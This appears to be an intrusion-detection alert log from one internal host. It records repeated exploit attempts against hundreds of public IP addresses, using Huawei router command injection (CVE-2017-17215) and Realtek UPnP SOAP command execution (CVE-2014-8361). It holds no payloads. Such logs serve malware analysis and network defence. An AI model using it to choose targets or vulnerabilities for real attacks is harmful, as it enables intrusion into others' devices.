07/20/24-23:01:24.889163	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54718	37215	192.168.2.23	157.178.234.164
07/20/24-23:00:59.163619	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50560	37215	192.168.2.23	157.213.175.190
07/20/24-23:01:31.328855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44950	52869	192.168.2.23	36.230.221.168
07/20/24-23:01:51.968362	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53002	52869	192.168.2.23	9.210.224.238
07/20/24-23:01:31.314906	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57430	52869	192.168.2.23	85.173.195.222
07/20/24-23:01:50.246033	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54622	52869	192.168.2.23	92.182.23.52
07/20/24-23:01:04.094795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60280	37215	192.168.2.23	197.178.38.115
07/20/24-23:01:20.157620	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59522	37215	192.168.2.23	157.203.129.55
07/20/24-23:01:24.910426	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54072	37215	192.168.2.23	41.84.150.41
07/20/24-23:01:24.915904	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59284	37215	192.168.2.23	133.187.212.183
07/20/24-23:01:40.320408	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40850	37215	192.168.2.23	157.7.143.99
07/20/24-23:01:40.331150	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44664	37215	192.168.2.23	197.218.83.13
07/20/24-23:01:46.359091	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50814	52869	192.168.2.23	206.50.68.232
07/20/24-23:01:27.653586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36930	37215	192.168.2.23	197.200.193.163
07/20/24-23:01:43.197088	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33372	52869	192.168.2.23	135.97.77.234
07/20/24-23:01:57.500950	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34280	52869	192.168.2.23	145.1.23.220
07/20/24-23:01:58.291705	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43302	52869	192.168.2.23	116.106.3.51
07/20/24-23:01:24.916250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51264	37215	192.168.2.23	82.205.201.63
07/20/24-23:01:01.628217	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38982	52869	192.168.2.23	216.174.225.184
07/20/24-23:01:14.105908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53884	37215	192.168.2.23	157.223.215.224
07/20/24-23:01:42.945748	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54138	52869	192.168.2.23	180.13.32.83
07/20/24-23:00:57.221273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38628	37215	192.168.2.23	157.240.255.134
07/20/24-23:01:08.631492	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40900	52869	192.168.2.23	216.151.5.50
07/20/24-23:01:08.563416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46698	52869	192.168.2.23	36.193.87.124
07/20/24-23:02:05.835826	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48206	52869	192.168.2.23	141.221.231.245
07/20/24-23:01:41.341391	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37840	52869	192.168.2.23	35.242.111.156
07/20/24-23:01:27.650870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50818	37215	192.168.2.23	197.157.38.150
07/20/24-23:01:40.301143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53018	37215	192.168.2.23	157.199.208.242
07/20/24-23:01:42.508021	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34132	52869	192.168.2.23	100.224.33.210
07/20/24-23:01:45.196200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33894	52869	192.168.2.23	74.130.124.117
07/20/24-23:01:21.915268	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57730	37215	192.168.2.23	197.57.71.77
07/20/24-23:01:02.287452	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51150	52869	192.168.2.23	172.32.160.159
07/20/24-23:01:42.592254	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59972	52869	192.168.2.23	49.57.98.237
07/20/24-23:02:08.128674	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51322	52869	192.168.2.23	136.224.18.44
07/20/24-23:01:02.093903	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41738	37215	192.168.2.23	41.105.49.77
07/20/24-23:01:31.312614	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43754	52869	192.168.2.23	75.178.59.59
07/20/24-23:01:32.076593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38906	37215	192.168.2.23	157.204.232.233
07/20/24-23:01:44.338159	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49602	52869	192.168.2.23	90.112.61.164
07/20/24-23:01:44.926055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54108	52869	192.168.2.23	159.4.8.31
07/20/24-23:01:44.466755	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60066	52869	192.168.2.23	153.51.4.30
07/20/24-23:02:01.201976	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58424	52869	192.168.2.23	129.210.122.194
07/20/24-23:01:00.641498	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53410	37215	192.168.2.23	19.199.208.241
07/20/24-23:01:08.640831	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55554	52869	192.168.2.23	187.26.13.206
07/20/24-23:01:04.989160	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34792	52869	192.168.2.23	60.208.170.61
07/20/24-23:01:53.238230	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35440	52869	192.168.2.23	170.211.30.37
07/20/24-23:00:57.221583	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44458	37215	192.168.2.23	157.170.128.9
07/20/24-23:01:41.947663	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40290	52869	192.168.2.23	202.203.199.212
07/20/24-23:01:34.044417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52462	37215	192.168.2.23	41.199.123.9
07/20/24-23:01:44.839991	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41154	52869	192.168.2.23	182.158.136.187
07/20/24-23:01:48.498136	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53224	52869	192.168.2.23	171.236.184.127
07/20/24-23:01:41.328264	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44472	52869	192.168.2.23	34.239.73.219
07/20/24-23:01:06.991143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42378	37215	192.168.2.23	157.239.230.243
07/20/24-23:01:24.944299	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38370	37215	192.168.2.23	157.128.42.189
07/20/24-23:01:54.642694	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36822	52869	192.168.2.23	165.191.241.94
07/20/24-23:01:14.308979	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52268	52869	192.168.2.23	20.24.147.17
07/20/24-23:01:49.615311	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48022	52869	192.168.2.23	185.10.206.42
07/20/24-23:01:08.639622	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55062	52869	192.168.2.23	82.99.109.50
07/20/24-23:01:24.071868	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57942	52869	192.168.2.23	59.198.200.174
07/20/24-23:01:57.213768	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43116	52869	192.168.2.23	112.142.124.162
07/20/24-23:01:49.254553	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48726	52869	192.168.2.23	32.103.164.103
07/20/24-23:01:42.603963	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55590	52869	192.168.2.23	99.98.54.155
07/20/24-23:01:42.399678	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38444	52869	192.168.2.23	115.35.192.158
07/20/24-23:01:43.555540	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34994	52869	192.168.2.23	39.189.20.84
07/20/24-23:01:44.953142	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46738	52869	192.168.2.23	220.31.50.128
07/20/24-23:01:58.504284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33126	52869	192.168.2.23	196.117.225.80
07/20/24-23:01:42.530468	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49066	52869	192.168.2.23	164.43.137.199
07/20/24-23:01:42.602712	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43894	52869	192.168.2.23	126.224.156.29
07/20/24-23:01:03.948226	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42126	52869	192.168.2.23	223.193.169.99
07/20/24-23:01:49.228425	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43454	52869	192.168.2.23	219.217.14.87
07/20/24-23:01:57.886795	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51338	52869	192.168.2.23	194.242.148.126
07/20/24-23:01:43.571815	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44764	52869	192.168.2.23	125.78.0.230
07/20/24-23:01:08.597662	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34472	52869	192.168.2.23	14.23.231.227
07/20/24-23:01:42.880524	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59136	52869	192.168.2.23	85.78.48.17
07/20/24-23:01:24.960642	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54608	37215	192.168.2.23	197.66.163.45
07/20/24-23:01:41.229799	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36008	52869	192.168.2.23	108.137.226.148
07/20/24-23:01:46.340763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54042	52869	192.168.2.23	165.18.43.140
07/20/24-23:01:57.321432	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47342	52869	192.168.2.23	47.201.63.165
07/20/24-23:01:44.559176	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51016	52869	192.168.2.23	123.97.7.185
07/20/24-23:01:11.820979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50554	37215	192.168.2.23	41.138.109.222
07/20/24-23:01:20.156820	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36896	37215	192.168.2.23	197.42.191.226
07/20/24-23:01:00.639093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40708	37215	192.168.2.23	197.176.41.115
07/20/24-23:01:46.444461	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52970	52869	192.168.2.23	197.9.101.249
07/20/24-23:02:06.935770	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36748	52869	192.168.2.23	64.225.111.147
07/20/24-23:00:59.178062	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34654	37215	192.168.2.23	197.241.127.58
07/20/24-23:01:01.164622	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43644	52869	192.168.2.23	199.61.238.254
07/20/24-23:01:43.536328	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55126	52869	192.168.2.23	94.120.34.76
07/20/24-23:01:43.944379	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39588	52869	192.168.2.23	176.130.206.241
07/20/24-23:00:57.223887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41330	37215	192.168.2.23	197.148.93.189
07/20/24-23:01:40.320408	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48886	37215	192.168.2.23	143.182.102.65
07/20/24-23:01:45.519802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39278	52869	192.168.2.23	173.68.146.233
07/20/24-23:01:40.294677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33904	37215	192.168.2.23	197.252.182.107
07/20/24-23:01:42.718842	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35816	52869	192.168.2.23	106.204.29.126
07/20/24-23:01:44.837053	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49994	52869	192.168.2.23	27.31.121.159
07/20/24-23:01:01.752804	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39800	52869	192.168.2.23	172.95.79.32
07/20/24-23:01:07.054782	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46500	37215	192.168.2.23	204.194.235.34
07/20/24-23:01:44.036421	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49088	52869	192.168.2.23	218.231.87.4
07/20/24-23:01:02.055683	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45562	37215	192.168.2.23	164.204.194.37
07/20/24-23:01:03.096471	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44870	52869	192.168.2.23	221.226.241.204
07/20/24-23:01:20.131339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57472	37215	192.168.2.23	197.74.155.53
07/20/24-23:01:51.212550	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40964	52869	192.168.2.23	88.239.244.206
07/20/24-23:01:58.892811	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53416	52869	192.168.2.23	105.169.76.44
07/20/24-23:01:20.596402	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51192	52869	192.168.2.23	1.209.93.74
07/20/24-23:01:20.149798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37938	37215	192.168.2.23	157.253.8.89
07/20/24-23:01:44.559917	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37734	52869	192.168.2.23	35.56.95.76
07/20/24-23:01:04.426363	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34988	52869	192.168.2.23	172.97.184.195
07/20/24-23:01:51.594415	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44100	52869	192.168.2.23	115.65.225.50
07/20/24-23:01:44.439012	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50128	52869	192.168.2.23	112.170.166.3
07/20/24-23:01:08.607816	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45074	52869	192.168.2.23	177.27.5.34
07/20/24-23:01:42.322405	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59520	52869	192.168.2.23	98.94.65.60
07/20/24-23:01:24.904906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59956	37215	192.168.2.23	197.71.217.61
07/20/24-23:01:08.563416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37874	52869	192.168.2.23	126.16.187.60
07/20/24-23:01:44.491060	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56394	52869	192.168.2.23	194.44.142.130
07/20/24-23:01:53.697003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49450	52869	192.168.2.23	85.241.89.47
07/20/24-23:01:51.304967	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34938	52869	192.168.2.23	122.69.178.214
07/20/24-23:01:02.059312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52380	37215	192.168.2.23	153.209.101.198
07/20/24-23:01:04.039129	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45482	37215	192.168.2.23	157.237.121.217
07/20/24-23:01:08.598416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41014	52869	192.168.2.23	25.222.87.118
07/20/24-23:02:41.032515	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44618	52869	192.168.2.23	143.147.42.76
07/20/24-23:01:20.169339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49434	37215	192.168.2.23	197.20.237.144
07/20/24-23:01:34.060991	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43800	37215	192.168.2.23	41.222.79.156
07/20/24-23:01:52.701293	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53376	52869	192.168.2.23	61.27.196.68
07/20/24-23:02:26.791106	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49314	52869	192.168.2.23	176.235.230.116
07/20/24-23:00:57.222164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51548	37215	192.168.2.23	172.101.164.72
07/20/24-23:01:41.249014	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37622	52869	192.168.2.23	136.37.204.244
07/20/24-23:02:20.472956	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37844	52869	192.168.2.23	88.79.134.29
07/20/24-23:01:42.042815	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36920	52869	192.168.2.23	177.147.32.222
07/20/24-23:00:59.172943	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34126	37215	192.168.2.23	157.77.213.179
07/20/24-23:01:52.904266	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35818	52869	192.168.2.23	19.191.190.54
07/20/24-23:01:43.170156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40232	52869	192.168.2.23	126.252.220.138
07/20/24-23:01:46.181357	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38326	52869	192.168.2.23	195.86.64.66
07/20/24-23:02:09.095115	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35686	52869	192.168.2.23	77.112.214.83
07/20/24-23:01:02.066908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39306	37215	192.168.2.23	41.211.122.175
07/20/24-23:01:53.937783	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36150	52869	192.168.2.23	188.131.252.163
07/20/24-23:01:02.066908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37338	37215	192.168.2.23	41.126.153.94
07/20/24-23:01:04.050503	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36920	37215	192.168.2.23	41.120.201.209
07/20/24-23:01:14.097795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43802	37215	192.168.2.23	190.79.68.182
07/20/24-23:01:41.205247	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51268	52869	192.168.2.23	8.226.239.105
07/20/24-23:01:12.807585	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42662	52869	192.168.2.23	181.43.61.4
07/20/24-23:01:45.569319	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51334	52869	192.168.2.23	93.25.182.143
07/20/24-23:01:27.664887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47230	37215	192.168.2.23	197.157.81.10
07/20/24-23:01:42.988854	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40898	52869	192.168.2.23	77.119.24.21
07/20/24-23:01:41.349768	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34456	52869	192.168.2.23	165.21.55.96
07/20/24-23:01:43.839288	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39870	52869	192.168.2.23	184.170.174.78
07/20/24-23:01:52.819848	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38288	52869	192.168.2.23	154.194.235.253
07/20/24-23:01:24.904906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35460	37215	192.168.2.23	109.94.51.165
07/20/24-23:02:09.106165	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45766	52869	192.168.2.23	58.172.86.110
07/20/24-23:01:42.574571	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36666	52869	192.168.2.23	54.250.222.170
07/20/24-23:01:52.877228	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39966	52869	192.168.2.23	18.255.33.143
07/20/24-23:00:59.163619	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45012	37215	192.168.2.23	157.20.27.216
07/20/24-23:01:24.929013	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36600	37215	192.168.2.23	197.202.30.34
07/20/24-23:01:43.096223	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48996	52869	192.168.2.23	75.199.56.180
07/20/24-23:01:01.422220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44736	52869	192.168.2.23	190.124.94.237
07/20/24-23:01:02.059312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44342	37215	192.168.2.23	197.72.210.161
07/20/24-23:01:52.171350	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44834	52869	192.168.2.23	75.3.82.5
07/20/24-23:02:02.714716	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43626	52869	192.168.2.23	32.132.194.251
07/20/24-23:01:55.125263	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57470	52869	192.168.2.23	119.217.160.56
07/20/24-23:01:44.137774	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37142	52869	192.168.2.23	91.203.103.36
07/20/24-23:01:42.611005	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42480	52869	192.168.2.23	12.129.173.144
07/20/24-23:00:59.191389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43956	37215	192.168.2.23	197.16.71.7
07/20/24-23:01:40.290002	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34556	37215	192.168.2.23	197.71.206.186
07/20/24-23:01:47.193367	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34414	52869	192.168.2.23	64.212.158.191
07/20/24-23:01:20.592479	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53042	52869	192.168.2.23	118.135.71.210
07/20/24-23:01:10.252357	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45926	52869	192.168.2.23	38.189.198.237
07/20/24-23:01:34.044717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51614	37215	192.168.2.23	171.231.69.230
07/20/24-23:01:31.333070	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56100	52869	192.168.2.23	221.42.114.149
07/20/24-23:01:45.108909	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56008	52869	192.168.2.23	63.138.19.167
07/20/24-23:01:20.601040	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34250	52869	192.168.2.23	61.157.174.11
07/20/24-23:01:53.999179	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43092	52869	192.168.2.23	105.232.226.131
07/20/24-23:01:08.594120	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58402	52869	192.168.2.23	44.70.248.184
